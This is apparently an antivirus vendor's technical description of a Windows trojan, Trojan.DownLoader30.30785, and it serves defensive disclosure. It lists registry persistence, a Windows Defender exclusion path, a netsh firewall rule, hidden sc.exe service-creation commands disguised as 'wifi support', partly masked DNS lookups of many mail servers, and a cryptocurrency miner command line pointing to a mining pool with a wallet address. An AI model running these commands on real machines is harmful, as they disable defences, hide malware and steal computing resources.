Trojan.DownLoader30.30785

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\ofkgadbk] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ofkgadbk] 'ImagePath' = '%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ofkgadbk] 'ImagePath' = '%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ofkgadbk' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\dgmgvgrx.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\dgmgvgrx.exe to %WINDIR%\syswow64\ofkgadbk\dgmgvgrx.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ex######.assistances.exchange
DNS ASK kl.com
DNS ASK sa#####ncent-rennes.net
DNS ASK ma##.icodia.com
DNS ASK google.com
DNS ASK am##1.com
DNS ASK sm##.####pe.secureserver.net
DNS ASK mx.##oeuro.com
DNS ASK be###kyriad.com
DNS ASK ap####line.com.br
DNS ASK au#####nformatique.fr
DNS ASK tv##.net.au
DNS ASK in######.hes.trendmicro.com
DNS ASK ya##o.it
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK au####lien-info.de
DNS ASK he##op.se
DNS ASK ma##.##elonline.com.br
DNS ASK cs.com
DNS ASK as#f.dk
DNS ASK ma####03.lmco.com
DNS ASK se####utilities.com
DNS ASK ma##.asatys.com
DNS ASK bl###urrent.com
DNS ASK xt##.co.nz
DNS ASK mx.##ra.co.nz
DNS ASK al###rayef.com
DNS ASK al##########om.mail.protection.outlook.com
DNS ASK as#####rminals.com.ph
DNS ASK ma###.##ianterminals.com.ph
DNS ASK ap##ig.com
DNS ASK ma##.appdig.com
DNS ASK tr###age.com.au
DNS ASK tr##########-au.mail.protection.outlook.com
DNS ASK sa#####opalacehotel.com
DNS ASK sm##.##cureserver.net
DNS ASK be#####thospitals.com
DNS ASK ma##.###celona-on-line.es
DNS ASK lm##.com
DNS ASK mx#.nsec.se
DNS ASK us#######nbound-1.mimecast.com
DNS ASK li#e.fr
DNS ASK ap#####ent-baltic.net
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK ec####riantours.com
DNS ASK we##aus.be
DNS ASK ma##.webhaus.be
DNS ASK bi####tpharma.com
DNS ASK wo####orthit.com
DNS ASK re####.boostict.com
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK to####tcompany.com
DNS ASK mx#.###.#ailpod8-cph3.one.com
DNS ASK ra#####ershenson.com
DNS ASK Ra############n-com01c.mail.protection.outlook.com
DNS ASK us####nts.com.au
DNS ASK in####nterior.se
DNS ASK mx##.webland.nu
DNS ASK ma###omepro.com
DNS ASK st###fors.se
DNS ASK sr#####.stralfors.se
DNS ASK ya##o.de
DNS ASK ma##.#####ein-blanc-assurances.fr
DNS ASK fp##sa.com
DNS ASK as##ys.com
DNS ASK ur###oup.com.au
DNS ASK aw###ire.com
DNS ASK aw##########.mail.protection.outlook.com
DNS ASK co###serve.com
DNS ASK ty####gess.com.au
DNS ASK ba#c.de
DNS ASK mx#.##bhoster.de
DNS ASK bl##win.ch
DNS ASK mx##.#b.bluewin.ch
DNS ASK ub###ate.com.au
DNS ASK fi####.austweb.com.au
DNS ASK lo##ia.se
DNS ASK ma##.loopia.se
DNS ASK ba#####on-kolbermoor.de
DNS ASK ma##.####inton-kolbermoor.de
DNS ASK pe###oft.co.za
DNS ASK sp####ll.xnet.co.za
DNS ASK cf##law.com
DNS ASK cf#####.#om.1.0001.arsmtp.com
DNS ASK un#####alevents.com.au
DNS ASK fi#####.##mgro-1.mailguard.com.au
DNS ASK ho##ail.de
DNS ASK ar###tajhiz.com
DNS ASK mx#.##rthlink.net
DNS ASK ea###link.net
DNS ASK ma###.##x.gridhost.co.uk
DNS ASK es##aw.com
DNS ASK es####.com.1.arsmtp.com
DNS ASK ni#####roxinha.com.br
DNS ASK el####tsclub.com
DNS ASK ol####ano.com.br
DNS ASK su#.com
DNS ASK us#####20.oracle.com
DNS ASK ym##l.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK ip####istance.com
DNS ASK mx#######c02.gslb.pphosted.com
DNS ASK tr####aster.com.au
DNS ASK tr#########-com-au.p10.mxthunder.com
DNS ASK ni##.org
DNS ASK ma##.nics.org
DNS ASK la##eks.com
DNS ASK li#e.se
DNS ASK gm##l.com
DNS ASK eh##igh.com
DNS ASK va####ysa.asn.au
DNS ASK na##.com
DNS ASK mx###ain.qq.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK pr###gy.net.mx
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK pu######1.mail2world.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK hk.####n.herominers.com
DNS ASK pe###trix.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK ec##te.com
DNS ASK ASPMX.L.GOOGLE.com
DNS ASK to###gar.com.au
DNS ASK mx#.##tregistry.net
DNS ASK an##ei.cn
DNS ASK an###eangel.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK si#######blanc-assurances.fr
DNS ASK mx#.#ate.com
DNS ASK bo####medflight.org
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK in#.#emec.com
DNS ASK th###isons.com
DNS ASK de###emark.com
DNS ASK co##si.com
DNS ASK mx#.##empresas.pt
DNS ASK ya##o.com
DNS ASK eb##.com
DNS ASK mx#.###186-24.iphmx.com
DNS ASK tr###y.com.au
DNS ASK tr####tway.com.au
DNS ASK ma##.##ansotway.com.au
DNS ASK tr####call.com.au
DNS ASK tr###########m-au.mail.protection.outlook.com
DNS ASK aq###des.com
DNS ASK pe####neltemps.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK mx#####.ppe-hosted.com
DNS ASK st##ker.com
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK rc###shc.com
DNS ASK ma###.#harancogroup.com
DNS ASK qq.com
DNS ASK mx#.qq.com
DNS ASK te###pro.com
DNS ASK se#####.inboundmx.com
DNS ASK an#####eacresfarm.com
DNS ASK ch####lights.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK an###stube.de
DNS ASK mx##.#spgateway.de
DNS ASK ko###atak.com
DNS ASK sp###uyspot.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK ao#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ma##.###rtament-baltic.net
DNS ASK em#.att.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ofkgadbk\dgmgvgrx.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ofkgadbk\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dgmgvgrx.exe" %WINDIR%\SysWOW64\ofkgadbk\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ofkgadbk binPath= "%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ofkgadbk "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ofkgadbk' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ofkgadbk\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dgmgvgrx.exe" %WINDIR%\SysWOW64\ofkgadbk\
'%WINDIR%\syswow64\sc.exe' create ofkgadbk binPath= "%WINDIR%\SysWOW64\ofkgadbk\dgmgvgrx.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ofkgadbk "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ofkgadbk
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial